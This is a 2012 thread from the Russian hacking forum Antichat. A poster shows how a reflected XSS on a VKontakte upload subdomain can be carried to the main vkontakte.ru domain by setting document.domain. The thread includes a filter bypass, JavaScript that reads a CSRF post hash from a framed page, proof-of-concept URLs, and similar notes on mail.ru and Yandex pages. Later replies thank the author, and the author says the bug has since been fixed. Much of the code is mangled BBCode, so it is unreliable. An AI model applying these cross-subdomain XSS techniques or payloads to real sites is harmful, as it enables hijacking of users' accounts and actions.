HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 09.01.2012, 10:58
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Всем известно, что XSS на сайте позволяет выполнять любые запросы и получать любые страницы сайта от имени авторизованного пользователя. То есть, дает практически неограниченный контроль над действиями пользователя. Этот контроль ограничивается только доменом, на котором расположен уязвимый скрипт.

Если все действия пользователь выполняет на домене mail.site.com или site.com, а XSS находится на news.site.com, единственный вариант доступа к данным пользователя - получить его куки и использовать сессию на своем компьютере.

Но сессия может быть привязана к IP, куки недоступны для JS (httpOnly) или просто не устанавливаться на уязвимом поддомене.

Никакой практической пользы от таких XSS нет... или все таки есть?

Ниже пример такой бесполезной XSS на cs*.vkontakte.ru. Сессия ВК привязана к IP, а вся информация пользователей находится на основном домене vkontakte.ru
 
Ответить с цитированием

  #2  
Старый 09.01.2012, 11:00
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

cs*.vkontakte.ru/cs*.vk.vom

При отправке ссылки на видео youtube на стену, ВК парсит инфу об этом видео и выводит его на стену вместо отправляемой ссылки.

Для примера возьмем ролик http://www.youtube.com/watch?v=AW4u7mGMNcg (первый попавшийся)

Если вставить ссылку в сообщение и нажать кнопку "отправить", выполнится POST-запрос:

http://cs[N].vkontakte.ru/upload.php

act=parse_share&from_host=vkontakte.ru&mid=[СВОЙ_ID]&hash=[ХЭШ1]&rhash=[ХЭШ2]&url=[ССЫЛКА_НА_РОЛИК]


Ответ:

Код HTML:
  document.domain = location.host.toString().match(/[a-zA-Z]*\.[a-zA-Z]*$/)[0];
  parent.onParseDone({
    title: 'Порно? ВКонтакте! / Need Porn? Use Russian Facebook!',
    description: "Комментируйте, голосуйте, добавляйте в избранное, рассылайте друзьям :) Большое спасибо за помощь в распространении нас :)\n\nWE LOVE OUR AMERICAN AUDIENCE, SUBSCRIBE, WE WILL BE ADDING ENGLISH SUBTITLES TO FUTURE VIDEOS FOR YOUR ENJOYMENT :)\n\nОбсуждение в нашей группе ВКонтакте:\n?http://vkontakte.ru/club382321?\n\nПроизводство студии My Duck's Vision\nСайт студии: ?http://mdvision.ru?",
    images: ['http://img.youtube.com/vi/AW4u7mGMNcg/0.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/2.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/3.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/1.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/3.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/2.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/1.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/0.jpg'],
    url: 'http://www.youtube.com/watch?v=AW4u7mGMNcg',
    domain: 'www.youtube.com',
    extra: 21,
    extraData: 'AW4u7mGMNcg:204'
    
  });
Параметр url возвращается в ответе. Кавычки экранируются, поэтому за пределы строки выйти не получится. Остается единственный вариант - закрывающий тег script, который даже внутри строки прерывает выполнение JS-кода.

Как оказалось, хэши для защиты от CSRF и XSS в этом запросе не проверяются. Параметры from_host, mid, hash и rhash необязательны. Отправлять можно GET-ом.

url=http://google.com/

Код HTML:
  document.domain = location.host.toString().match(/[a-zA-Z]*\.[a-zA-Z]*$/)[0];
  parent.onParseFail();
Страница не существует (404)

url=http://google.com/?

Код HTML:
url: 'http://www.google.com/?%3C/%3E=',
Редирект. url берется из location (302)

url=http://www.google.com/?=

Код HTML:
url: 'http://www.google.com/?=',
Страница существует (200)

Пассивка найдена, но при попытке отправить в запросе

url=http://www.google.com/?=

оказывается, что фильтруется слово "cookie".

Обходится этот фильтр просто:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
XSS:

http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=

p.s.: взято из темы в MoA (04.11.11), работает до сих пор.

upd:

"vkontakte.ru/vk.com XSS" - /showthread.php?t=301195
 
Ответить с цитированием

  #3  
Старый 09.01.2012, 11:03
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

1) Чтение страниц с другого домена.

Обмен данными между страницей и фреймом возможен только если они находятся на одном домене.

Домен хранится в свойстве document.domain. Политика безопасности позволяет изменить это свойство только на текущий домен или наддомен.

Например, на сайте news.site.com мы можем установить document.domain='site.com'и обратно document.domain='news.site.com'.

Есть еще одна проблема. Для обмена данными необходимо, чтобы обе страницы присвоили одинаковое имя домена свойству document.domain, даже если одна из страниц расположена на нужном домене.

То есть, с news.site.com можно прочитать страницу, находящуюся на site.com или на mail.site.com, если на этой странице свойству document.domain присвоено значение 'site.com'

Пример. Получение хеша для отправки сообщения на стену:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'vkontakte.ru'[/COLOR][COLOR="#007700"];

function[/
COLOR][COLOR="#0000BB"]getHash[/COLOR][COLOR="#007700"]()

{

var[/COLOR][COLOR="#0000BB"]page[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

for([/COLOR][COLOR="#0000BB"]i in document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]scripts[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]page[/COLOR][COLOR="#007700"]+= ([/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]scripts[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]innerText[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"](/\\\[/COLOR][COLOR="#DD0000"]"post_hash\\\":\\\"(.+?)\\\"/.exec(page));

}

[/COLOR][/COLOR] 
2) Перевод XSS на другой домен

Чтение некоторых страниц сайта - лучше, чем ничего, но хотелось бы большего.

Посмотрим на страницу http://vkontakte.ru/al_profile.php?al=-1

Код HTML:
var locDomain = location.host.toString().match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0];
if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) {
  document.domain = locDomain;
}
Этот код позволяет обмениваться данными с любым поддоменом vkontakte.ru

Код HTML:
parent.ajax._framedone('123405678', [1,"\/username",1]);
Обращение к функции объекта родительского окна

Выполнения этих двух условий достаточно, для изменения домена XSS на другой домен того же уровня или наддомен.

Пример:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

function[/
COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]()

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'good'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// код внутри функции a() выполняется на домене vkontakte.ru

[/COLOR][COLOR="#007700"]}

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'vkontakte.ru'[/COLOR][COLOR="#007700"];

var[/
COLOR][COLOR="#0000BB"]ajax[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Object[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]ajax[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]_framedone[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]

[/
COLOR]

[/
COLOR
PoC:

XSS на поддомене cs4567

http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=

Та же XSS, но выполняется уже на самом vkontakte.ru (пробелы убрать)

http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=
 
Ответить с цитированием

  #4  
Старый 01.02.2012, 23:52
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Дополнение к пункту 2

Цитата:
Сообщение от M_script  
Выполнения этих двух условий достаточно, для изменения домена XSS на другой домен того же уровня или наддомен.
Единственным необходимым условием является присвоением свойству document.domain значения 'site.com'. Вызов функций объекта parent необязателен:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'vkontakte.ru'[/COLOR][COLOR="#007700"];

function[/
COLOR][COLOR="#0000BB"]newDomain[/COLOR][COLOR="#007700"]()

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'good'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// код внутри функции newDomain() выполняется на домене vkontakte.ru

[/COLOR][COLOR="#007700"]}

function[/
COLOR][COLOR="#0000BB"]changeDomain[/COLOR][COLOR="#007700"]()

{

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

}

[/
COLOR][COLOR="#0000BB"]

[/
COLOR]

[/COLOR
Пример (пробелы убрать):

http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=​

[offtop]

Несколько строк кода на страницах my.mail.ru позволяют работать с этой соц.сетью через XSS любых поддоменов мейлру

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]try{

var[/COLOR][COLOR="#0000BB"]matches[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]location[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]hostname[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'[^.]*?\.[^.]*?$'[/COLOR][COLOR="#007700"]);

if ([/COLOR][COLOR="#0000BB"]matches[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]window[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]dDomain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

}

}
catch([/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]){};

[/
COLOR][/COLOR
[/offtop]

upd:

http://www.yandex.ru/i-social__closer.html#ddom=yandex.ru

https://passport.yandex.ru/i-social__closer.html#ddom=yandex.ru

[PHP]
[COLOR="#000000"]q=location.hash.substr(1).split('&');

for (var
i=0,l=q.length;i[COLOR="#007700"]
 
Ответить с цитированием

  #5  
Старый 23.09.2012, 12:52
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Перенесите в паблик (/forum31.html)
 
Ответить с цитированием

  #6  
Старый 23.09.2012, 13:18
justonline
Постоянный
Регистрация: 27.07.2011
Сообщений: 499
С нами: 7787126

Репутация: 53
По умолчанию

красаучек
 
Ответить с цитированием

  #7  
Старый 23.09.2012, 15:57
GoodGoogle
Познавший АНТИЧАТ
Регистрация: 05.08.2011
Сообщений: 1,159
С нами: 7774166

Репутация: 226


По умолчанию

Почитал, познавательно спасибо.
 
Ответить с цитированием

  #8  
Старый 24.09.2012, 00:55
Duskly
Познающий
Регистрация: 05.01.2012
Сообщений: 68
С нами: 7553846

Репутация: -5
По умолчанию

Цитата:
Сообщение от None  
XSS:
http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=
работает еще?
 
Ответить с цитированием

  #9  
Старый 24.09.2012, 01:47
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
С нами: 9655526

Репутация: 1821


По умолчанию

Где то я уже видел это, кстати на ачате...
 
Ответить с цитированием

  #10  
Старый 24.09.2012, 06:00
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Цитата:
Сообщение от Duskly  
работает еще?
Не работает (/showthread.php?t=301195)

Цитата:
Сообщение от De-visible  
Где то я уже видел это, кстати на ачате...
Я искал, ничего не нашел.

p.s.: если кто-то увидит подобную тему, напишите ссылку.
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.